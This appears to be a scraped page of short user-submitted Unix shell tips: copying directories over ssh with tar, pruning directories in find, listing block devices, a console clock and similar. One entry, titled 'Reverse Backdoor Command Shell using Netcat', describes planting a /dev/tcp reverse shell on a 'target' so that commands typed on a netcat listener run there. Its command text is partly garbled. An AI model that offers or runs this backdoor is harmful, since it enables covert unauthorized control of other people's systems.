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Copy files and directories from a remote machine to the local machine
This command will copy files and directories from a remote machine to the local one. Ensure you are in the local directory you want to populate with the remote files before running the command. To copy a directory and it's contents, you could: $ ssh user@host "(cd /path/to/a/directory ; tar cvf - ./targetdir)" | tar xvf - This is especially useful on *nix'es that don't have 'scp' installed by default.

find file/dir by excluding some unwanted dirs and filesystems
Consider using this cmd when: 1. You are planning to traverse a big directory. 2. There is a subdir you don't want find to decend to. (entirely ignore) 3. You don't want find to decend to any mounted filesystems under this dir. * The -xdev flag tells find do not go to other filesystems. * -path ./junk_dir -prune is the pattern to ignore ./junk_dir entirely. * The rest is the typical search and print. To ignore multiple subdirs, you can just iterate the pattern, e.g. find . -path ./junk1 -prune -o -path ./junk2 -prune ... If you do want to include other filesystems, then remove -xdev flag. If you want to search files, then change -type d to -type f.

List of computers not logged into in more than four weeks

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

list block devices
Shows all block devices in a tree with descruptions of what they are.

Get the /dev/disk/by-id fragment for a physical drive
Substitute for #11720 Can probably be even shorter and easier.

Print the IPv4 address of a given interface

remote-pbzip2 and transfer a directory to local file

Console clock
A console clock with the current time.

Swap a file or dir with quick resotre
This lets you replace a file or directory and quickly revert if something goes wrong. For example, the current version of a website's files are in public_html. Put a new version of the site in public_html~ and execute the command. The names are swapped. If anything goes wrong, execute it again (up arrow or !!).


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